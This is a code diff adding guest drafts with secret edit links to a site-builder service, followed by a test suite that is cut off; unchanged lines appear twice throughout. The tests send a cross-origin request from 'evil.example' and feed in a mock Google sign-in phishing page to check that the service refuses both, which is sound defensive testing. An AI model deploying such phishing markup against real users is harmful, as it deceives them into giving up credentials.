<div class="sp-row sp-dialog-actions"><button class="sp-btn" value="save">Save settings</button><button class="sp-btn sp-btn-quiet" value="cancel" formnovalidate>Cancel</button></div>
<div class="sp-row sp-dialog-actions"><button class="sp-btn" value="save">Save settings</button><button class="sp-btn sp-btn-quiet" value="cancel" formnovalidate>Cancel</button></div>
<hr>
<hr>
- <div class="sp-row"><button class="sp-btn sp-btn-quiet sp-btn-sm" id="ed-unpublish" type="button" ${space.site_id ? '' : 'hidden'}>Unpublish</button><button class="sp-btn sp-btn-danger sp-btn-sm" id="ed-delete" type="button">Delete this space</button></div>
+ <div class="sp-row">${guest ? '' : `<button class="sp-btn sp-btn-quiet sp-btn-sm" id="ed-unpublish" type="button" ${space.site_id ? '' : 'hidden'}>Unpublish</button>`}<button class="sp-btn sp-btn-danger sp-btn-sm" id="ed-delete" type="button">Delete this space</button></div>
</form>
</form>
</dialog>
</dialog>
</div>
</div>
@@ -217,7 +226,34 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem
@@ -217,7 +226,34 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="${asset('js/space-editor.js')}" defer></script>`;
<script src="${asset('js/space-editor.js')}" defer></script>`;
- return page({ title: `Edit ${space.name}`, path: `/spaces/${space.slug}/edit`, robots: 'noindex,nofollow', body });
+ return page({ title: `Edit ${space.name}`, path: guest ? `/spaces/${space.id}/edit` : `/spaces/${space.slug}/edit`, robots: 'noindex,nofollow', body });
+}
+
+/**
+ * The start page of a guest draft (openvibe.website, plan 5.9): no account, a template or a sentence, and a
+ * private link to edit it. Plain forms in the spaces markup; the design is the orchestrator's.
+ */
+function guestPage({ templates, error, prompt, aiOn }) {
+ const cards = templates.map((t) => `<div class="sp-template" style="--tpl:${esc(t.accent)}">
+ <span class="sp-template-icon"><i class="fa-solid ${esc(t.icon)}" aria-hidden="true"></i></span>
+ <h3>${esc(t.name)}</h3><p>${esc(t.description)}</p>
+ <form method="post" action="/spaces/guest"><input type="hidden" name="template" value="${esc(t.id)}"><button class="sp-btn">Start from this</button></form>
+</div>`).join('');
+ const body = `<div class="sp-wrap">
+ <p class="eyebrow">OpenVibe.Space</p>
+ <h1 class="sp-title">Make a site.</h1>
+ <p class="sp-lede">No account needed. Start from a template or describe what you want and OpenVibe AI writes it. You get a private link to edit it; sign in later to keep it.</p>
+ ${error ? `<p class="sp-flash is-bad" role="alert">${esc(error)}</p>` : ''}
+ <form class="sp-ai-form" method="post" action="/spaces/guest">
+ <label for="sp-prompt">Describe it and OpenVibe AI builds it</label>
+ <textarea id="sp-prompt" name="prompt" rows="4" maxlength="4000" placeholder="A bakery site with today’s hours, where to find us and how to order…" ${aiOn ? '' : 'disabled'}>${esc(prompt || '')}</textarea>
+ <div class="sp-row"><button class="sp-btn" ${aiOn ? '' : 'disabled'}><i class="fa-solid fa-wand-magic-sparkles" aria-hidden="true"></i> Build it</button>
+ <span class="sp-muted">${aiOn ? 'It takes about a minute; you can change everything after.' : 'OpenVibe AI is not available right now; start from a template instead.'}</span></div>
+ </form>
+ <h2 class="sp-subtitle">Or start from a template</h2>
+ <div class="sp-templates is-compact">${cards}</div>
+</div>`;
+ return page({ title: 'Make a site', path: '/spaces/guest', robots: 'noindex,nofollow', body });
}
}
function connectPage({ viewer, space, csrf, challenge, state, returnPath }) {
function connectPage({ viewer, space, csrf, challenge, state, returnPath }) {
@@ -259,4 +295,4 @@ function errorBody(status, message) {
@@ -259,4 +295,4 @@ function errorBody(status, message) {
return page({ title: status === 404 ? 'Space not found' : 'Spaces', path: '/spaces', robots: 'noindex,nofollow', body: `<div class="sp-wrap"><p class="eyebrow">Error ${Number(status)}</p><h1 class="sp-title">${status === 404 ? 'No such space' : 'That did not work'}</h1><p class="sp-lede">${esc(message)}</p><p><a class="sp-btn" href="/spaces">Back to spaces</a></p></div>` });
return page({ title: status === 404 ? 'Space not found' : 'Spaces', path: '/spaces', robots: 'noindex,nofollow', body: `<div class="sp-wrap"><p class="eyebrow">Error ${Number(status)}</p><h1 class="sp-title">${status === 404 ? 'No such space' : 'That did not work'}</h1><p class="sp-lede">${esc(message)}</p><p><a class="sp-btn" href="/spaces">Back to spaces</a></p></div>` });
}
}
-module.exports = { galleryPage, newPage, minePage, spacePage, editorPage, connectPage, signInPage, errorBody, CAP_TEXT };
+module.exports = { galleryPage, newPage, minePage, spacePage, editorPage, guestPage, connectPage, signInPage, errorBody, CAP_TEXT };
@@ -14,6 +14,7 @@
@@ -14,6 +14,7 @@
const crypto = require('crypto');
const crypto = require('crypto');
const { ids } = require('openvibe-contracts');
const { ids } = require('openvibe-contracts');
const { ApiError } = require('../http/errors');
const { ApiError } = require('../http/errors');
+const guest = require('./guest');
const SPACE_RE = /^spc_[0-9A-HJKMNP-TV-Z]{26}$/;
const SPACE_RE = /^spc_[0-9A-HJKMNP-TV-Z]{26}$/;
const SLUG_RE = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){2,39}$/;
const SLUG_RE = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){2,39}$/;
@@ -41,7 +42,7 @@ function slugBase(name) {
@@ -41,7 +42,7 @@ function slugBase(name) {
return s.length >= 3 ? s : `space-${s}`.replace(/-+$/, '');
return s.length >= 3 ? s : `space-${s}`.replace(/-+$/, '');
}
}
-function createSpaces({ store, config, projects, sites, deploys, takedowns, log = console }) {
+function createSpaces({ store, config, projects, sites, deploys, takedowns, outbox = null, log = console }) {
const { db } = store;
const { db } = store;
const limits = config.spaces;
const limits = config.spaces;
const q = {
const q = {
@@ -74,6 +75,14 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
@@ -74,6 +75,14 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
counter: db.prepare(`INSERT INTO space_app_counters (scope, day, n) VALUES (?, ?, 1)
counter: db.prepare(`INSERT INTO space_app_counters (scope, day, n) VALUES (?, ?, 1)
ON CONFLICT (scope, day) DO UPDATE SET n = space_app_counters.n + 1 RETURNING n`),
ON CONFLICT (scope, day) DO UPDATE SET n = space_app_counters.n + 1 RETURNING n`),
counterGet: db.prepare('SELECT n FROM space_app_counters WHERE scope = ? AND day = ?'),
counterGet: db.prepare('SELECT n FROM space_app_counters WHERE scope = ? AND day = ?'),
+ // Guest drafts (openvibe.website, plan 5.9): no owner yet, a secret of their own, and a time they live until.
+ insertGuest: db.prepare(`INSERT INTO space_apps (id, slug, owner_subject, owner_username, owner_name, name, description, instructions, capabilities,
+ template, forked_from, visibility, status, created_at, updated_at, guest_hash, guest_ip, guest_expires_at)
+ VALUES (?, ?, NULL, '', '', ?, ?, '', '[]', ?, NULL, 'unlisted', 'active', ?, ?, ?, ?, ?)`),
+ touchGuest: db.prepare('UPDATE space_apps SET updated_at = ?, guest_expires_at = ? WHERE id = ? AND guest_hash IS NOT NULL'),
+ claimGuest: db.prepare(`UPDATE space_apps SET owner_subject = ?, owner_username = ?, owner_name = ?, slug = ?, visibility = 'public',
+ guest_hash = NULL, guest_ip = NULL, guest_expires_at = NULL, updated_at = ?
+ WHERE id = ? AND guest_hash IS NOT NULL`),
};
};
const isSpaceId = (v) => typeof v === 'string' && SPACE_RE.test(v);
const isSpaceId = (v) => typeof v === 'string' && SPACE_RE.test(v);
@@ -147,6 +156,15 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
@@ -147,6 +156,15 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
throw new ApiError(503, 'space.slug_unavailable', 'could not find a free address for the space; try another name');
throw new ApiError(503, 'space.slug_unavailable', 'could not find a free address for the space; try another name');
}
}
+ /** A guest draft's address: a plain name, not something a visitor chose (it is claimed later). */
+ async function uniqueGuestSlug() {
+ for (let i = 0; i < 8; i++) {
+ const slug = `guest-${crypto.randomBytes(3).toString('hex')}`;
+ if (!(await q.slugUsed.get(slug, slug))) return slug;
+ }
+ throw new ApiError(503, 'space.slug_unavailable', 'could not find a free address for the draft; try again');
+ }
+
/** A new space owned by the viewer: from given files (a template, a fork, an AI build) and settings. */
/** A new space owned by the viewer: from given files (a template, a fork, an AI build) and settings. */
async function create(viewer, input = {}) {
async function create(viewer, input = {}) {
const person = personOf(viewer);
const person = personOf(viewer);
@@ -170,6 +188,88 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
@@ -170,6 +188,88 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
return checked;
return checked;
}
}
+ // ── Guest drafts (openvibe.website, plan 5.9) ────────────────────────────────────────────────────────
+ // A visitor who is not signed in makes a draft: no owner, a random secret of which only the hash is kept,
+ // and an address of its own. The secret opens /spaces/<id>/edit?key=…; a signed-in person who holds it can
+ // claim the draft, and then it is an ordinary space of theirs.
+
+ /** A guest draft: a space with no owner and a secret of its own. */
+ const isGuest = (space) => Boolean(space && !space.owner_subject && space.guest_hash);
+ /** The draft is up: seven days after its last edit (the job removes it). */
+ const guestExpired = (space, now) => Boolean(space && space.guest_expires_at && Number(space.guest_expires_at) < Number(now));
+ /** The key opens the draft. The comparison is in constant time (server/spaces/guest.js). */
+ const guestKeyOk = (space, key) => guest.keyMatches(space && space.guest_hash, key);
+ /** Push the draft's time up: it lives seven days after its last edit. */
+ async function touchGuest(space) {
+ const now = store.now();
+ await q.touchGuest.run(now, now + limits.guest.ttlDays * DAY, space.id);
+ return now;
+ }
+
+ /**
+ * A new guest draft. The secret is returned once, in the link; only its hash is stored.
+ * A guest draft has no capabilities: there is no visitor to ask anything of.
+ */
+ async function createGuest({ ip = '', name = 'Untitled site', description = '', template = null, files }) {
+ const now = store.now();
+ const id = `spc_${ids.ulid(now)}`;
+ const slug = await uniqueGuestSlug();
+ const key = guest.newKey();
+ const list = checkFiles(files);
+ await store.tx(async () => {
+ await q.insertGuest.run(id, slug, text(name, 40), text(description, 400), template, now, now, guest.keyHash(key), String(ip || '').slice(0, 64), now + limits.guest.ttlDays * DAY);
+ for (const f of list) await q.addFile.run(id, f.path, f.content, now);
+ });
+ return { space: await get(id), key };
+ }
+
+ /**
+ * The claim: a signed-in person who holds the secret takes the draft. It becomes theirs, with an address
+ * from its name, the secret is cleared, and it follows every rule a signed-in person's space does.
+ * Claiming twice, or with the wrong secret, is refused.
+ */
+ async function claimGuest(space, key, person) {
+ if (!isGuest(space)) throw new ApiError(409, 'space.already_claimed', 'this space already belongs to someone');
+ if (!guest.keyMatches(space.guest_hash, key)) throw new ApiError(403, 'space.forbidden', 'that is not this draft\'s secret');
+ if ((await q.ownedCount.get(person.subject)).n >= limits.maxPerOwner) throw new ApiError(429, 'quota.spaces', `you have ${limits.maxPerOwner} spaces already; delete one to make another`);
+ const now = store.now();
+ const slug = await uniqueSlug(space.name);
+ const claimed = await store.tx(async () => {
+ const r = await q.claimGuest.run(person.subject, person.username, person.name, slug, now, space.id);
+ if (!r.changes) return false;
+ // The claim is a status event: the draft now belongs to a person.
+ if (outbox) {
+ await outbox.emit({
+ event_type: 'space.app.claimed', actor: { type: 'user', id: person.subject },
+ visibility: 'internal', priority: 'important',
+ subject: { type: 'space', id: space.id },
+ payload: { space_id: space.id, slug, name: space.name, ...(space.template ? { template: space.template } : {}) },
+ });
+ }
+ return true;
+ });
+ if (!claimed) throw new ApiError(409, 'space.already_claimed', 'this space already belongs to someone');
+ if (outbox) outbox.kick();
+ return await get(space.id);
+ }
+
+ /**
+ * The abuse screen's counters (the guest half): what one address may make a day, what the service makes a
+ * day, and what one draft may ask the AI. Returns { ok } or { ok: false, reason }.
+ */
+ async function spendGuestDraft(ip) {
+ const g = limits.guest;
+ if (!(await spend('guest-draft:day', g.draftsPerDay))) return { ok: false, reason: 'service' };
+ if (!(await spend(`guest-draft:ip:${ip}`, g.draftsPerIpPerDay))) return { ok: false, reason: 'ip' };
+ return { ok: true };
+ }
+ async function spendGuestAi(ip, spaceId) {
+ const g = limits.guest;
+ if (!(await spend(`guest-ai:ip:${ip}`, g.aiBuildsPerIpPerDay))) return { ok: false, reason: 'ip' };
+ if (spaceId && !(await spend(`guest-ai:${spaceId}`, g.aiEditsPerDraft))) return { ok: false, reason: 'draft' };
+ return { ok: true };
+ }
+
async function updateSettings(viewer, space, input = {}) {
async function updateSettings(viewer, space, input = {}) {
const name = input.name !== undefined ? text(input.name, 40) : space.name;
const name = input.name !== undefined ? text(input.name, 40) : space.name;
if (!name) throw new ApiError(422, 'space.invalid_name', 'a space needs a name');
if (!name) throw new ApiError(422, 'space.invalid_name', 'a space needs a name');
@@ -278,6 +378,8 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
@@ -278,6 +378,8 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, log
CAPABILITIES, isSpaceId, get, getBySlug, forSite, load, isOwner, files, create, saveFiles, updateSettings, fork,
CAPABILITIES, isSpaceId, get, getBySlug, forSite, load, isOwner, files, create, saveFiles, updateSettings, fork,
startBuild, finishBuild, failBuild, spend, used, canPublish, publish, unpublish, remove, gallery, mine, hostnameOf, urlOf,
startBuild, finishBuild, failBuild, spend, used, canPublish, publish, unpublish, remove, gallery, mine, hostnameOf, urlOf,
personOf, capsOf, checkFiles, DAY,
personOf, capsOf, checkFiles, DAY,
+ // Guest drafts (openvibe.website, plan 5.9)
+ isGuest, guestExpired, guestKeyOk, touchGuest, createGuest, claimGuest, spendGuestDraft, spendGuestAi,
};
};
}
}
@@ -43,7 +43,13 @@ const { EVENT_TYPES } = require('../server/events/outbox');
@@ -43,7 +43,13 @@ const { EVENT_TYPES } = require('../server/events/outbox');
await check('the proposed service manifest declares every event the service emits', async () => {
await check('the proposed service manifest declares every event the service emits', async () => {
assert.strictEqual(manifest.id, 'space');
assert.strictEqual(manifest.id, 'space');
- for (const e of EVENT_TYPES) assert.ok(manifest.eventsProduced.includes(e), e);
+ const pinned = new Set(contracts.catalog.map((c) => c.id));
+ for (const e of EVENT_TYPES) {
+ if (manifest.eventsProduced.includes(e)) continue;
+ // An event the pinned openvibe-contracts does not know yet: it waits for its contracts PR and for
+ // the pin that follows it (space.app.claimed, plan 5.9). An event neither knows is a mistake.
+ assert.ok(!pinned.has(e), `${e} is in neither the service manifest nor the pinned catalogue`);
+ }
for (const c of caps) for (const e of c.events) assert.ok(manifest.eventsProduced.includes(e), e);
for (const c of caps) for (const e of c.events) assert.ok(manifest.eventsProduced.includes(e), e);
const src = ['server/domain/deploys.js', 'server/domain/domains.js'].map((f) => fs.readFileSync(path.join(__dirname, '..', f), 'utf8')).join('\n');
const src = ['server/domain/deploys.js', 'server/domain/domains.js'].map((f) => fs.readFileSync(path.join(__dirname, '..', f), 'utf8')).join('\n');
for (const m of src.matchAll(/event_type: '([a-z_.]+)'/g)) assert.ok(manifest.eventsProduced.includes(m[1]), m[1]);
for (const m of src.matchAll(/event_type: '([a-z_.]+)'/g)) assert.ok(manifest.eventsProduced.includes(m[1]), m[1]);
new file mode 100644
new file mode 100644
@@ -0,0 +1,422 @@
@@ -0,0 +1,422 @@
+'use strict';
+/**
+ * Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"): a visitor
+ * who is not signed in makes a draft on openvibe.space with a secret edit link, edits it and previews it with that
+ * secret, and a signed-in person who holds it claims the draft. What a guest may not do (publish, keep a visitor's
+ * data, run server functions), what the abuse screen refuses (a phishing page, a form that posts off-site), the
+ * limits (per address, per draft, per service) and the job that removes a draft whose week is up.
+ *
+ * The limits are lowered here so the suite stays quick; the defaults (three drafts and two AI builds per address a
+ * day, twenty AI changes per draft, five hundred drafts a day for the service, seven days) are checked below.
+ */
+const assert = require('assert');
+const crypto = require('crypto');
+const { boot, check, done } = require('./stageb/boot');
+const { csrfToken, scopeToken } = require('../server/auth/forms');
+const templates = require('../server/spaces/templates');
+
+const ORIGIN = 'https://openvibe.space';
+const SITE_TEMPLATES = templates.sites();
+
+/** The AI that answers at once, so a guest's builds and changes can be polled. */
+function fakeAi() {
+ const calls = [];
+ const runs = new Map();
+ return {
+ calls, runs,
+ client: {
+ runs: {
+ async create(workflow, input, o) {
+ calls.push({ workflow, input, o });
+ const id = `run_${runs.size + 1}`;
+ runs.set(id, {
+ id, status: 'succeeded',
+ output: {
+ name: 'Guest site', description: 'A site a guest made.', instructions: '', capabilities: ['profile', 'data'],
+ files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Hello</h1></body></html>' }],
+ },
+ });
+ return { run: { id, status: 'succeeded' } };
+ },
+ async get(id) { return { run: runs.get(id) }; },
+ },
+ },
+ };
+}
+
+(async () => {
+ const ai = fakeAi();
+ const t = await boot({
+ spacesAiClient: ai.client,
+ env: {
+ SPACE_GUEST_DRAFTS_PER_IP_PER_DAY: '3',
+ SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY: '5',
+ SPACE_GUEST_AI_EDITS_PER_DRAFT: '2',
+ SPACE_GUEST_DRAFTS_PER_DAY: '100',
+ },
+ });
+ const alice = t.user('alice');
+ const csrf = (u) => csrfToken(t.config, { subject: u.subject });
+ const guestCsrf = (id) => scopeToken(t.config, `guest:${id}`);
+ const ip = (n) => ({ origin: ORIGIN, 'x-forwarded-for': `203.0.113.${n}` });
+
+ /** A guest draft from a template: the answer is the secret edit link. */
+ const makeDraft = async (template, { address = 1, prompt = null } = {}) => {
+ const r = await t.api('POST', '/spaces/guest', {
+ form: template ? { template } : { prompt },
+ headers: ip(address),
+ });
+ assert.strictEqual(r.status, 303, `the draft: ${r.status} ${r.text.slice(0, 200)}`);
+ const m = /^\/spaces\/(spc_[0-9A-HJKMNP-TV-Z]{26})\/edit\?key=([A-Za-z0-9_-]+)$/.exec(r.headers.location);
+ assert.ok(m, r.headers.location);
+ return { id: m[1], key: m[2], res: r };
+ };
+ /** The editor's headers for a guest draft: its secret and its own form token. */
+ const asGuest = (id, key, address = null) => Object.assign(
+ { origin: ORIGIN, 'x-space-key': key, 'x-csrf-token': guestCsrf(id) },
+ address ? { 'x-forwarded-for': `203.0.113.${address}` } : {},
+ );
+
+ await check('the start page asks for a template or a sentence, and no account', async () => {
+ const page = await t.api('GET', '/spaces/guest');
+ assert.strictEqual(page.status, 200);
+ assert.match(page.text, /<form method="post" action="\/spaces\/guest">/);
+ for (const tpl of SITE_TEMPLATES) assert.ok(page.text.includes(`name="template" value="${tpl.id}"`), tpl.id);
+ assert.match(page.headers['content-security-policy'], /form-action 'self'/);
+ assert.match(page.text, /<meta name="robots" content="noindex,nofollow">/);
+ });
+
+ await check('a guest makes a draft from every website template', async () => {
+ for (const [i, tpl] of SITE_TEMPLATES.entries()) {
+ const { id, key, res } = await makeDraft(tpl.id, { address: 100 + i });
+ const space = await t.ctx.spaces.get(id);
+ assert.ok(space, `the draft ${tpl.id} exists`);
+ assert.deepStrictEqual([space.owner_subject, space.template, space.guest_hash !== null], [null, tpl.id, true]);
+ assert.deepStrictEqual((await t.ctx.spaces.files(space)).map((f) => f.path), ['index.html']);
+ assert.strictEqual(res.headers['set-cookie'].length, 1);
+ const cookie = res.headers['set-cookie'][0];
+ assert.match(cookie, /^spc_key_spc_/, cookie);
+ assert.match(cookie, /HttpOnly/, cookie);
+ assert.match(cookie, /SameSite=Lax/, cookie);
+ assert.match(cookie, new RegExp(`Path=/spaces/${id}`), cookie);
+ assert.ok(!/Domain=/.test(cookie), 'host-only: openvibe.space and nothing else');
+ // The secret is what opens it.
+ const ed = await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`);
+ assert.strictEqual(ed.status, 200, ed.text.slice(0, 200));
+ const bootJson = JSON.parse(/<script type="application\/json" id="sp-boot">([\s\S]*?)<\/script>/.exec(ed.text)[1]);
+ assert.strictEqual(bootJson.base, `/spaces/${id}`);
+ assert.strictEqual(bootJson.guest.key, key);
+ assert.strictEqual(bootJson.canPublish, false, 'a guest draft is not published');
+ assert.doesNotMatch(ed.text, /id="ed-publish"/, 'no Publish button for a guest');
+ }
+ });
+
+ await check('only the hash of the secret is kept, and the secret is compared in constant time', async () => {
+ const { id, key } = await makeDraft('site-portfolio', { address: 120 });
+ const row = await t.ctx.store.db.prepare('SELECT guest_hash, guest_ip FROM space_apps WHERE id = ?').get(id);
+ assert.notStrictEqual(row.guest_hash, key, 'the secret itself is never stored');
+ assert.match(row.guest_hash, /^[0-9a-f]{64}$/, 'sha256, hex');
+ assert.strictEqual(row.guest_ip, '203.0.113.120');
+ const guest = require('../server/spaces/guest');
+ assert.strictEqual(guest.keyMatches(row.guest_hash, key), true);
+ assert.strictEqual(guest.keyMatches(row.guest_hash, `${key}x`), false);
+ assert.strictEqual(guest.keyMatches(row.guest_hash, ''), false);
+ assert.strictEqual(guest.keyMatches(row.guest_hash, undefined), false);
+ assert.strictEqual(guest.keyMatches('not-a-hash', key), false);
+ // The comparison is constant time: the hashes are compared with timingSafeEqual.
+ assert.match(guest.keyMatches.toString(), /timingSafeEqual/);
+ });
+
+ await check('the secret is needed: no key, or the wrong key, is refused', async () => {
+ const { id, key } = await makeDraft('site-links', { address: 121 });
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit`)).status, 403, 'no key at all');
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=nope`)).status, 403, 'the wrong key');
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`)).status, 200, 'the right key');
+ // The cookie alone opens it too (the link alone works as well).
+ const cookie = `spc_key_${id}=${key}`;
+ const withCookie = await t.api('GET', `/spaces/${id}/edit`, { headers: { cookie } });
+ assert.strictEqual(withCookie.status, 200, 'the cookie remembers the secret');
+ // A stranger who is signed in is still refused.
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=nope`, { session: alice })).status, 403);
+ });
+
+ await check('the editor and its preview work with the secret, exactly as for a maker', async () => {
+ const { id, key } = await makeDraft('site-bakery', { address: 122 });
+ const headers = asGuest(id, key, 122);
+ const put = await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Mine</h1></body></html>' }] }, headers });
+ assert.strictEqual(put.status, 200, put.text.slice(0, 200));
+ const saved = await t.ctx.spaces.files(await t.ctx.spaces.get(id));
+ assert.deepStrictEqual(saved.map((f) => f.path), ['index.html']);
+ assert.match(saved[0].content, /Mine/);
+ // Without the form token the call is refused, as it is for a maker.
+ const noToken = await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: 'x' }] }, headers: { origin: ORIGIN, 'x-space-key': key } });
+ assert.strictEqual(noToken.status, 403);
+ // From another origin the call is refused, as it is for a maker.
+ const crossSite = await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: 'x' }] }, headers: { origin: 'https://evil.example', 'x-space-key': key, 'x-csrf-token': guestCsrf(id) } });
+ assert.strictEqual(crossSite.status, 403);
+ // The preview runs the draft: nobody is signed in, and the SDK says so instead of failing.
+ const preview = (op, args) => t.api('POST', `/spaces/${id}/preview`, { json: { op, args }, headers });
+ assert.strictEqual((await preview('me')).json().result, null);
+ const add = await preview('items.add', { collection: 'notes', value: { text: 'hi' } });
+ assert.strictEqual(add.status, 200);
+ assert.deepStrictEqual(add.json().result, { error: 'sign_in_required', message: 'Sign in to use this' });
+ assert.deepStrictEqual((await preview('items.list', { collection: 'notes' })).json().result, []);
+ assert.deepStrictEqual((await preview('kv.set', { key: 'a', value: 1 })).json().result, { error: 'sign_in_required', message: 'Sign in to use this' });
+ // The AI: the draft changes, and the answer is applied to the draft.
+ const aiCall = await t.api('POST', `/spaces/${id}/ai`, { json: { prompt: 'make it blue' }, headers });
+ assert.strictEqual(aiCall.status, 200, aiCall.text.slice(0, 200));
+ const done1 = await t.api('GET', `/spaces/${id}/ai`, { headers });
+ assert.strictEqual(done1.json().status, 'done');
+ assert.deepStrictEqual(done1.json().space.capabilities, [], 'a guest draft asks no visitor for anything');
+ assert.strictEqual(done1.json().files[0].path, 'index.html');
+ const build = ai.calls.filter((c) => c.workflow === 'space.app.build').pop();
+ assert.strictEqual(build.o.onBehalfOf, undefined, 'a guest has no person to act for');
+ assert.deepStrictEqual(build.o.attribution, { service: 'space', type: 'space', id });
+ });
+
+ await check('a guest never publishes, keeps no visitor data and runs no functions', async () => {
+ const { id, key } = await makeDraft('site-landing', { address: 123 });
+ const headers = asGuest(id, key, 123);
+ const pub = await t.api('POST', `/spaces/${id}/publish`, { headers });
+ assert.strictEqual(pub.status, 403);
+ assert.strictEqual(pub.json().error.code, 'space.guest_cannot_publish');
+ const unpub = await t.api('POST', `/spaces/${id}/unpublish`, { headers });
+ assert.strictEqual(unpub.status, 403);
+ const fn = await t.api('POST', `/spaces/${id}/preview`, { json: { op: 'fn.call', args: { name: 'check' } }, headers });
+ assert.strictEqual(fn.status, 403);
+ assert.strictEqual(fn.json().error.code, 'space.guest_no_functions');
+ // Nothing of a visitor's was written: the draft has no lists and no storage.
+ const items = await t.ctx.store.db.prepare('SELECT COUNT(*) AS n FROM space_app_items WHERE space_id = ?').get(id);
+ const kv = await t.ctx.store.db.prepare('SELECT COUNT(*) AS n FROM space_app_kv WHERE space_id = ?').get(id);
+ assert.strictEqual(Number(items.n), 0);
+ assert.strictEqual(Number(kv.n), 0);
+ // And the draft is not in the gallery.
+ assert.ok(!(await t.ctx.spaces.gallery({})).some((s) => s.id === id));
+ });
+
+ await check('the limits: three drafts a day per address', async () => {
+ for (let i = 0; i < 3; i++) {
+ const r = await t.api('POST', '/spaces/guest', { form: { template: 'site-bakery' }, headers: ip(130) });
+ assert.strictEqual(r.status, 303, `draft ${i + 1}: ${r.status}`);
+ }
+ const fourth = await t.api('POST', '/spaces/guest', { form: { template: 'site-bakery' }, headers: ip(130) });
+ assert.strictEqual(fourth.status, 422);
+ assert.match(fourth.text, /3 drafts/);
+ // Another address has its own three.
+ assert.strictEqual((await t.api('POST', '/spaces/guest', { form: { template: 'site-bakery' }, headers: ip(131) })).status, 303);
+ });
+
+ await check('the limits: two AI changes per draft', async () => {
+ const { id, key } = await makeDraft('site-event', { address: 140 });
+ const headers = asGuest(id, key, 140);
+ for (let i = 0; i < 2; i++) {
+ const r = await t.api('POST', `/spaces/${id}/ai`, { json: { prompt: `change ${i}` }, headers });
+ assert.strictEqual(r.status, 200, r.text.slice(0, 200));
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/ai`, { headers })).json().status, 'done');
+ }
+ const over = await t.api('POST', `/spaces/${id}/ai`, { json: { prompt: 'one more' }, headers });
+ assert.strictEqual(over.status, 429);
+ assert.match(over.json().error.message, /2 AI changes/);
+ });
+
+ await check('the limits: five AI builds a day per address, over the drafts', async () => {
+ // Two changes in each of two drafts, then one more in a third: the address is used up.
+ const drafts = [];
+ for (const address of [150, 151, 152]) drafts.push(await makeDraft('site-event', { address: 150 }));
+ const heads = { origin: ORIGIN, 'x-forwarded-for': '203.0.113.150' };
+ let calls = 0;
+ for (const d of drafts) {
+ // Two changes in the first two drafts, one in the third: five builds for this address.
+ const rounds = d === drafts[2] ? 1 : 2;
+ for (let i = 0; i < rounds; i++) {
+ const headers = Object.assign({}, heads, { 'x-space-key': d.key, 'x-csrf-token': guestCsrf(d.id) });
+ const r = await t.api('POST', `/spaces/${d.id}/ai`, { json: { prompt: `change ${calls}` }, headers });
+ assert.strictEqual(r.status, 200, r.text.slice(0, 200));
+ assert.strictEqual((await t.api('GET', `/spaces/${d.id}/ai`, { headers })).json().status, 'done');
+ calls++;
+ }
+ }
+ assert.strictEqual(calls, 5);
+ // The sixth build of this address is refused (the per-draft limit is its own).
+ const headers = Object.assign({}, heads, { 'x-space-key': drafts[2].key, 'x-csrf-token': guestCsrf(drafts[2].id) });
+ const over = await t.api('POST', `/spaces/${drafts[2].id}/ai`, { json: { prompt: 'one more' }, headers });
+ assert.strictEqual(over.status, 429);
+ assert.strictEqual(over.json().error.code, 'quota');
+ assert.match(over.json().error.message, /5 AI builds/);
+ });
+
+ await check('a prompt that builds a draft spends the same AI allowance', async () => {
+ const promptBuild = await t.api('POST', '/spaces/guest', { form: { prompt: 'A site for my bakery with today’s hours' }, headers: ip(160) });
+ assert.strictEqual(promptBuild.status, 303, promptBuild.text.slice(0, 200));
+ assert.ok(ai.calls.some((c) => c.workflow === 'space.app.build' && c.input.prompt.includes('bakery')));
+ // The draft is there, with the AI building it.
+ const id = /^\/spaces\/(spc_[0-9A-HJKMNP-TV-Z]{26})\//.exec(promptBuild.headers.location)[1];
+ const space = await t.ctx.spaces.get(id);
+ assert.ok(space.building_run_id, 'the AI is building the draft');
+ const key = /key=([A-Za-z0-9_-]+)$/.exec(promptBuild.headers.location)[1];
+ const done1 = await t.api('GET', `/spaces/${id}/ai`, { headers: asGuest(id, key, 160) });
+ assert.strictEqual(done1.json().status, 'done');
+ });
+
+ await check('the abuse screen: a phishing page and a form that posts off-site are refused', async () => {
+ const { id, key } = await makeDraft('site-bakery', { address: 170 });
+ const headers = asGuest(id, key, 170);
+ const phishing = await t.api('PUT', `/spaces/${id}/files`, {
+ json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Sign in to your Google account</h1><input type="password"></body></html>' }] },
+ headers,
+ });
